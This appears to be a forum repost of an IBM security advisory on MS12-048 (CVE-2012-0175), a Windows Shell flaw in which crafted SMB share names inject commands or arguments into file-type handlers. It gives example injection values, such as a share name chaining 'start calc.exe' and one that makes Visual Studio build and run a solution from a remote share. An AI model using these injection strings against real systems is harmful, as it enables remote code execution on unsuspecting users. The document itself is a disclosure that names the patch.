Jump to content
Nytro

Microsoft Windows Shell Command Injection - MS12-048 (CVE-2012-0175)

Recommended Posts

Posted

[h=3]Microsoft Windows Shell Command Injection - MS12-048 (CVE-2012-0175)[/h]

CVE-2012-0175

[h=3]Background[/h] Windows File Association allows an application to define a handler that should be called for each operation on a specific file type.

For example, WinRAR registers the file type .RAR in the following manner:

6a00d835130c5153ef01761657789c970c-pi

The Open action defined for this file type dictates how the handler should be called upon opening the file.

The command that will be executed for this example of WinRAR is:

"C:\Program Files\WinRAR\WinRAR.exe" "%1"

(Where the %1 is replaced with the filename that the client clicked on)

Theoretically if an attacker was able to create a file called

Stu"ff.rar

He will be able to break the command string.

Of course creating such a file under Windows seems to be impossible

6a00d835130c5153ef0177433d7caf970d-pi

Linux operating systems unlike Windows, do not limit the use of these special characters as part of a file's name.

Meaning an attacker can create a file called stu"ff.rar

6a00d835130c5153ef0177433d7cc5970d-pi

In order to actually test this theory, the Windows operating system must have some sort of access to the file currently placed on another machine.

6a00d835130c5153ef016768627c7d970b-pi

Most applications will fail horribly when trying to copy this file over to the Windows machine and the few that won't, just replace the quotes ( " ) with an underscore ( _ ).

The next possibility to access this file, is through NetBIOS shares, so I've installed a SAMBA server on my Linux machine, created some default shares and copied my malicious looking file in there.

6a00d835130c5153ef0176165778ba970c-pi

Figure 1 - Linux view of the file

6a00d835130c5153ef0176165778d8970c-pi

Figure 2 - Windows view of the file

Apparently Windows changes the display name for these files.

It does the same with folder names.

[h=4]Vulnerability:[/h] The one place missing this protection is the Share Name itself.

By editing the SAMBA configuration in the following way it is possible to create shares that include the forbidden special characters in their name.

6a00d835130c5153ef0177433d7d14970d-pi

Figure 3 - Editing the SAMBA configurations

6a00d835130c5153ef016768628bdc970b-pi

Figure 4 - Viewing the shares under Windows

When executing a RAR file from the regular share2 folder, all works well.

However when double-clicking a RAR in the second share

6a00d835130c5153ef016768628bed970b-pi

WinRAR cannot seem to find the requested file

6a00d835130c5153ef0177433d7d4e970d-pi

Viewing the created WinRAR.exe process in Process Explorer reveals the injection has worked.

6a00d835130c5153ef0177433d925d970d-pi

[h=4]Example attack scenario #1:[/h] The following attack scenario will allow the attacker to create a malicious Share that targets the "CMD Prompt Here" behavior.

6a00d835130c5153ef0177433d9275970d-pi

6a00d835130c5153ef01761657794d970c-pi

The way that "CMD Prompt Here" works is by launching the following command

"cmd.exe" /k cd %1

6a00d835130c5153ef017616577961970c-pi

An attacker is able to create a new share named:

xxxxx & start calc.exe &

When a victim uses the "CMD Prompt Here" context menu against any folder under the share root, the executed command will be:

"cmd.exe" /k cd \\10.0.0.1\xxxxx & start calc.exe &\AnyOtherFolder

When CMD will start it will also execute calc.exe

6a00d835130c5153ef01761657797a970c-pi

6a00d835130c5153ef0177433d92d2970d-pi

[h=4]Example attack scenario #2:[/h]

The following attack scenario will allow the attacker to create a link to a visual studio solution (.SLN) file that once opened will automatically compile and execute itself.

By creating three SMB shares named:

1. Test Injection "/RunExit \\9.148.197.235\share2

2. Test Injection "

3. share2

6a00d835130c5153ef016768628cc0970b-pi

And the following folder tree under the mapped folder (/home/share2 in the case of this example)

6a00d835130c5153ef01761657638b970c-pi

Notice that the content of the ArgumentInjection folder is not shown.

It contains all the visual studio solution files and should not be changed.

The result of these configurations should look as such:

6a00d835130c5153ef0177433d7e38970d-pi

By entering the first (long) folder and opening the SLN file with the devenv.exe handler, the following command should be executed:

6a00d835130c5153ef0167686275e2970b-pi

6a00d835130c5153ef0177433d92f9970d-pi

The devenv.exe handler receives four parameters:

  1. The first part of the path - "\\9.148.197.235\Test Injection "
  2. The injected parameter - /RunExit
  3. The injected path to be used - \\9.148.197.235\share2\ArgumentInjection.sln
  4. The remaining part of the original path - .sln"

The first and last parameters are being ignored while the two middle parameters causes visual studio to compile and execute the desired solution.

[h=4]Impact:[/h] By using this technique, an attacker is able to inject custom arguments into every application that registered a file-type handler using the described method.

[h=4]Remediation:[/h] Microsoft has issued the following patch to address this issue

MS12-048 - Microsoft Security Bulletin MS12-048 - Important : Vulnerability in Windows Shell Could Allow Remote Code Execution (2691442)

Discovered by - Adi Cohen, IBM Application Security Research

Sursa: IBM Application Security Insider: Microsoft Windows Shell Command Injection - MS12-048 (CVE-2012-0175)

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...